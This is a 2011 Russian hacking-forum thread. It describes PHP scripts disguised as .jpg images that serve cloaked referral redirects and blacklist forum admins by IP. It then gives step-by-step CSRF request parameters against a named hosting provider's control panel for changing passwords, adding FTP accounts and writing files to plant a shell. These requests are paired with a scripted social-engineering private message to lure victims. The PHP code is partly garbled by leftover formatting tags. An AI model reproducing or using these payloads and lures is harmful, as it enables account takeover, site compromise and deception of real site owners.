HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.04.2011, 07:22
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Реф.ссылки в картинках + клоакинг | CSRF через IMG на примере хостинга jino.ru

==============================

Реф.ссылки в картинках + клоакинг

В прошлом месяце я ради интереса реализовал ротацию изображений через бб-код IMG. Пример:

[IMG]http://*****/img_test/rotation/test.jpg[/IMG]

При каждом обновлении страницы изображение меняется.

Сегодня увидел этот пост:

/showpost.php?p=2650247&postcount=1818

Он натолкнул на интересную мысль. Совместил его способ со своей ротацией изображений, немного доработал и вот что получилось:

test.jpg

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$def_images[/COLOR][COLOR="#007700"]))

[/
COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Content-type: image/jpeg"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]imagecreatefromjpeg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$def_images[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]imagejpeg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]imagedestroy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]);

die();

}



[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM `links` WHERE `ip` =[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]))

{

[/
COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_assoc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$link_num[/COLOR][COLOR="#007700"]= (int)[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'link_num'[/COLOR][COLOR="#007700"]];

if([/COLOR][COLOR="#0000BB"]$link_num[/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
При каждом обновлении страницы сайта с этой "картинкой" (с одного IP-адреса), поочереди происходит переход по ссылкам из массива all_links. Вместо ссылок можно также указывать путь к jpeg-файлам.

Переход по ссылкам осуществляется только если "картинка" загружается со страниц, в адресе которых содержится текст из массива allowed_referers, в других случаях отображается файл 'images/default.jpg'

Если repeat включен, ссылки после окончания списка будут прокручиваться заново. Если repeat выключен, после окончания списка будет отображаться файл 'images/default.jpg'.

Чтобы было меньше проблем, используется клоакинг - блэк-лист IP-адресов с возможностью разделения по группам и выдачи отдельной картинки на каждую группу.

Для того, чтобы добавить админа в блэк, достаточно отправить ему в личку сообщение с картинкой, приведенной ниже:

adm.jpg

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
Дополнения:

.htaccess

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg

[/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
db.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
таблицы

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]CREATE TABLE[/COLOR][COLOR="#007700"]IF[/COLOR][COLOR="#0000BB"]NOT EXISTS[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]links[/COLOR][COLOR="#007700"]` (

`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL auto_increment[/COLOR][COLOR="#007700"],

`[/COLOR][COLOR="#DD0000"]ip[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],

`[/COLOR][COLOR="#DD0000"]link_num[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]PRIMARY KEY[/COLOR][COLOR="#007700"](`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`)

);


[/COLOR][COLOR="#0000BB"]CREATE TABLE[/COLOR][COLOR="#007700"]IF[/COLOR][COLOR="#0000BB"]NOT EXISTS[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]black[/COLOR][COLOR="#007700"]` (

`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL auto_increment[/COLOR][COLOR="#007700"],

`[/COLOR][COLOR="#DD0000"]ip[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],

`[/COLOR][COLOR="#DD0000"]type[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]PRIMARY KEY[/COLOR][COLOR="#007700"](`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`)

);


[/COLOR][/COLOR
Ниже вставлена "картинка", код которой написан в теме.

Первые 3 обновления страницы - переход по ссылкам, потом появится изображение:

[IMG]http://*****/img_test/rotation2/test.jpg[/IMG]

Чтобы увидеть, что отображается у людей из блэк-листа, нужно перейти по ссылке и обновить эту страницу.

=====================================

CSRF через IMG на примере хостинга jino.ru

Продолжу тему редиректов в картинках. Кроме реф.ссылок их можно использовать для проведения CSRF-атак.

Для примера возьмем известный хостинг jino.ru. Несмотря на популярность этого хостинга, опасных CSRF-уязвимостей на нем много.

Панель управления хостинга находится на портах 8080(http) и 8443(https) всех сайтов, прикрепленных к аккаунту. На всех аккаунтах по-умолчанию есть домен login.jino.ru.

В примерах запросов буду писать только список параметров и значений. Все запросы нормально работают с методами GET и POST (не забывайте про URL Encode)

Изменение пароля

area=services_chpassword

do=services_chpassword

oldhint=

password=newpass

password2=newpass



Добавление FTP-аккаунта (при создании аккаунта к FTP-логину добавляется префикс "login_")

area=management_ftpaccounts

do=management_ftpaccountadd

ftp_login=ftplogin

dir=/

password=pass

password2=pass



Изменение пароля FTP-аккаунта

area=management_ftpaccountedit

do=management_ftpaccountchpass

login=ftplogin

old_login=ftplogin

dir=/

password=newpass

password2=newpass



Изменение настроек веб-сервера (в запросе настройки с префиксом "default_" - обязательные, с префиксом "d_" - редактируемые)

area=management_htsettings

do=management_htaccesssave

default_AddDefaultCharset=cp1251

default_allow_call_time_pass_reference=1

default_display_errors=1

default_magic_quotes_gpc=0

default_magic_quotes_runtime=0

default_open_basedir=1

default_output_buffering=1

default_post_max_size=15M

default_register_globals=0

default_upload_max_filesize=8M

d_AddDefaultCharset=cp1251

d_allow_call_time_pass_reference=1

d_display_errors=1

d_magic_quotes_gpc=0

d_magic_quotes_runtime=0

d_open_basedir=1

d_output_buffering=1

d_post_max_size=15M

d_register_globals=0

d_upload_max_filesize=8M



На любой сайт, прикрепленный к аккаунту, можно загрузить любой текстовый файл за два запроса.

Создание файла

area=filemanager_main

do=filemanager_createfile

path=/domains/testsite.ru

filename=test.php



Изменение файла

do=filemanager_savefile

area=filemanager_editor

path=/domains/testsite.ru/test.php

contents=

charset=UTF-8

linebreaks=UNIX

Так как все перечисленные запросы работают через GET, их можно спрятать в картинке и разместить на форуме (или отправить по электронной почте).

Электронная почта менее эффективна, потому что многие знают об опасности чтения писем, полученных от незнакомых адресов, и не открывают их. О том, что чтение ЛС на форуме может быть опасно, не знает почти никто.

Один из вариантов CSRF-атаки через IMG:

В подпись ставится юзербар (userbar.jpg). Вместо подписи можно отправить картинку в ЛС, но при ответе ссылка будет видна в цитировании и это вызовет подозрения.

Активная сессия сохраняется недолго, поэтому нужно заставить владельца сайта авторизоваться в панели управления. Тут потребуется немного СИ.

Пример сообщения в ЛС

Привет.

Я знаю, что ты тоже пользуешься хостингом на jino.

Сегодня заметил странный баг. Когда захожу в панель через сайт jino.ru, все нормально, а через mysite:8080 баланс отображается намного больше реального:

[нарисованный скрин]

Можешь проверить, у тебя так же или проблема в моем аккаунте? Попробуй зайти в панель через jino.ru, а потом через targetsite:8080​При просмотре скрина (screen.jpg), CSRF в юзербаре активируется на IP-адрес владельца сайта.

После того, как будет получен ответ, подтверждающий авторизацию в панели управления, для заливки шелла достаточно отправить владельцу сайта еще два любых сообщения в ЛС.

Файлы:

.htaccess

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg

[/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
screen.jpg

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
userbar.jpg

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

.
 
Ответить с цитированием

  #2  
Старый 25.04.2011, 11:36
.antibiotic.
[bald man]
Регистрация: 13.07.2009
Сообщений: 624
С нами: 8857766

Репутация: 1167


По умолчанию

молодец м_скрипт

а я думал как он это осуществляет
 
Ответить с цитированием

  #3  
Старый 26.04.2011, 09:28
ErrorNeo
Moderator - Level 7
Регистрация: 02.05.2009
Сообщений: 894
С нами: 8960826

Репутация: 2261


По умолчанию

сколько я не обновлял - в хроме оно вот так:



"битая картинка"
 
Ответить с цитированием

  #4  
Старый 26.04.2011, 11:48
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

ErrorNeo, в опере всё работает.
 
Ответить с цитированием

  #5  
Старый 02.05.2011, 07:42
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Цитата:
Сообщение от ErrorNeo  
сколько я не обновлял - в хроме оно вот так:
"битая картинка"
Проверил в хроме 11. Битая картинка только при редиректах, после 3х обновлений картинка отображается нормально.
 
Ответить с цитированием

  #6  
Старый 02.05.2011, 12:39
Магнитофон
Участник форума
Регистрация: 24.11.2010
Сообщений: 139
С нами: 8139926

Репутация: 54
По умолчанию

Отобразилась после 1 обновления в хроме. Молодец М_Скрипт
 
Ответить с цитированием

  #7  
Старый 05.05.2011, 02:00
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
С нами: 11010660

Репутация: 439


По умолчанию

ОМГ. м_скрипт - злой гений

скрипта в грины. ну как минимум в жёлтых.
 
Ответить с цитированием

  #8  
Старый 07.05.2011, 21:35
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

в паблик
 
Ответить с цитированием

  #9  
Старый 07.05.2011, 21:43
A-Graff
Новичок
Регистрация: 14.08.2009
Сообщений: 0
С нами: 8811137

Репутация: 0
По умолчанию

Цитата:
Сообщение от M_script  
в паблик
Добрый Ты))

ЗЫ Сейчас серч познает всю силу открытия М_скрипта
 
Ответить с цитированием

  #10  
Старый 07.05.2011, 21:45
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

A-Graff, только эта тема в паблик, другие пусть еще полежат.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.